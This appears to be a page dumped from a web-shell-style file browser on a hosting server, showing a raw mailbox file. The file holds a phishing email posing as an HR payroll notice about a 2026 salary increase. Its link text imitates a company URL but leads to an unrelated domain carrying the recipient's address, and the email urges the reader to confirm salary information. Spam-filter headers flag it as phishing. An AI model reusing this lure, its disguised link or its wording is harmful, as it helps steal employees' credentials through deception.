PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/ithome/mail/new/
Server: Linux host100322.itwesthosting.com 3.10.0-1160.144.1.el7.tuxcare.els4.x86_64 #1 SMP Tue Apr 7 08:40:40 UTC 2026 x86_64
IP: 144.91.64.173
Choose File :

Url:
Dir : /home/ithome/mail/new/1772552966.M242835P31307.host100322.itwesthosting.com,S=6941,W=7063

Return-Path: <info@hanoman.id>
Delivered-To: ithome@host100322.itwesthosting.com
Received: from host100322.itwesthosting.com
	by host100322.itwesthosting.com with LMTP
	id SMovDgYDp2lLegAAp0YrwQ
	(envelope-from <info@hanoman.id>)
	for <ithome@host100322.itwesthosting.com>; Tue, 03 Mar 2026 16:49:26 +0100
Return-path: <info@hanoman.id>
Envelope-to: info@h1telekom.hr
Delivery-date: Tue, 03 Mar 2026 16:49:26 +0100
Received: from [204.77.9.77] (port=55008)
	by host100322.itwesthosting.com with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.96.2)
	(envelope-from <info@hanoman.id>)
	id 1vxRzw-0008A8-1l
	for info@h1telekom.hr;
	Tue, 03 Mar 2026 16:49:26 +0100
From: Payroll Admin <info@hanoman.id>
To: info@h1telekom.hr
Date: 3 Mar 2026 07:49:22 -0800
Message-ID: <20260303074921.99237D13778771FE@hanoman.id>
MIME-Version: 1.0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
X-Spam-Status: Yes, score=12.1
X-Spam-Score: 121
X-Spam-Bar: ++++++++++++
X-Spam-Report: Spam detection software, running on the system "host100322.itwesthosting.com",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Good day info Find below this year's Wage increase started
    in February of 2026 and will be paid out for the first time by the end of
    March 2026. salary/staff h1telekom.hr/news/empl.record/2026-reports/ 
 Content analysis details:   (12.1 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  4.7 RCVD_IN_XBL            RBL: Received via a relay in Spamhaus XBL
                             [204.77.9.77 listed in zen.spamhaus.org]
  2.5 URIBL_DBL_PHISH        Contains a Phishing URL listed in the Spamhaus
                             DBL blocklist
                             [URIs: musiccross.jp]
  0.0 T_SPF_PERMERROR        SPF: test of record failed (permerror)
  0.0 T_MXG_EMAIL_FRAG       URI with email in fragment
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [204.77.9.77 listed in bl.score.senderscore.com]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
                             The query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                            [204.77.9.77 listed in sa-trusted.bondedsender.org]
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: h1telekom.hr]
  0.8 KAM_INFOUSMEBIZ        Prevalent use of
                             .info|.us|.me|.me.uk|.biz|xyz|id|rocks|life
                              domains in spam/malware
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  2.0 RDNS_NONE              Delivered to internal network by a host with no rDNS
  2.0 MIXED_HREF_CASE        Has href in mixed case
  0.0 TO_NO_BRKTS_NORDNS_HTML To: lacks brackets and no rDNS and HTML
                             only
X-Spam-Flag: YES
Subject:  ***SPAM***  Salary Increase Information Ref:info
X-From-Rewrite: unmodified, forwarded message

<HTML><HEAD>
<META name=3DGENERATOR content=3D"MSHTML 11.00.10570.1001"></HEAD>
<BODY>
<DIV dir=3Dltr>
<DIV style=3D"BOX-SIZING: border-box; FONT-FAMILY: calibri">Good day info<B=
R style=3D"BOX-SIZING: border-box"><BR style=3D"BOX-SIZING: border-box">Fin=
d below&nbsp;this&nbsp;year's Wage increase started in February of 2026 and=
 will be paid out for the first time by the end of March 2026.<BR style=3D"=
BOX-SIZING: border-box"><BR style=3D"BOX-SIZING: border-box">
<A style=3D"BOX-SIZING: border-box; BACKGROUND: none transparent scroll rep=
eat 0% 0%; COLOR: rgb(76,140,246); text-decoration-line: none" href=3D"http=
s://musiccross.jp//Fate/#info@h1telekom.hr" rel=3Dnoreferrer target=3D_blan=
k data-saferedirecturl=3D"https://www.google.com/url?q=3Dhttps://musiccross=
=2Ejp//Fate/%23%5B%5B-Email-%5D%5D&amp;source=3Dgmail&amp;ust=3D17726365983=
81000&amp;usg=3DAOvVaw2NNlVCLPrHC74JhJVlvHt4">salary/staff h1telekom.hr/new=
s/empl.record/<WBR>2026-reports/</A></DIV>
<DIV style=3D"BOX-SIZING: border-box; FONT-FAMILY: calibri">&nbsp;</DIV>
<DIV style=3D"BOX-SIZING: border-box; FONT-FAMILY: calibri"><EM style=3D"BO=
X-SIZING: border-box">Note: Go through the list above and confirm your new =
salary information</EM></DIV>
<DIV style=3D"BOX-SIZING: border-box; FONT-FAMILY: calibri">&nbsp;</DIV>
<DIV style=3D"BOX-SIZING: border-box; FONT-FAMILY: calibri">&nbsp;</DIV>
<DIV style=3D"BOX-SIZING: border-box; FONT-FAMILY: calibri"><BR style=3D"BO=
X-SIZING: border-box"><SPAN style=3D"BOX-SIZING: border-box; FONT-WEIGHT: b=
older">Best Regards<BR style=3D"BOX-SIZING: border-box">HR Admin</SPAN></DI=
V>
<P style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px; FONT-FAMILY: Roboto,sa=
ns-serif; MARGIN-TOP: 0px; COLOR: rgb(44,54,58)">&nbsp;</P>
<P style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px; FONT-FAMILY: Roboto,sa=
ns-serif; MARGIN-TOP: 0px; COLOR: rgb(44,54,58)"><SPAN style=3D"BOX-SIZING:=
 border-box; FONT-SIZE: 8pt">Please do not reply to this email<BR style=3D"=
BOX-SIZING: border-box"><SPAN style=3D"BOX-SIZING: border-box; FONT-SIZE: 8=
pt">
To unsubscribe from this message, please login to&nbsp;<A href=3D"http://fi=
vecontinental.com/" target=3D_blank data-saferedirecturl=3D"https://www.goo=
gle.com/url?q=3Dhttp://fivecontinental.com/&amp;source=3Dgmail&amp;ust=3D17=
72636598381000&amp;usg=3DAOvVaw243jjzMqeLI6kUh1u8PhrQ">h1telekom.hr</A>&nbs=
p;and navigate to the notifications tab to change your settings</SPAN></SPA=
N></P>
<P style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px; FONT-FAMILY: Roboto,sa=
ns-serif; MARGIN-TOP: 0px; COLOR: rgb(44,54,58)"><BR style=3D"BOX-SIZING: b=
order-box"><SPAN style=3D"BOX-SIZING: border-box; FONT-SIZE: 8pt">Message s=
tamp:</SPAN><BR style=3D"BOX-SIZING: border-box"><SPAN style=3D"BOX-SIZING:=
 border-box; FONT-SIZE: 8pt">ikwoweemg</SPAN></P>
<P style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px; FONT-FAMILY: Roboto,sa=
ns-serif; MARGIN-TOP: 0px; COLOR: rgb(44,54,58)">3/3/2026 7:49:21 a.m.</P><=
/DIV></BODY></HTML>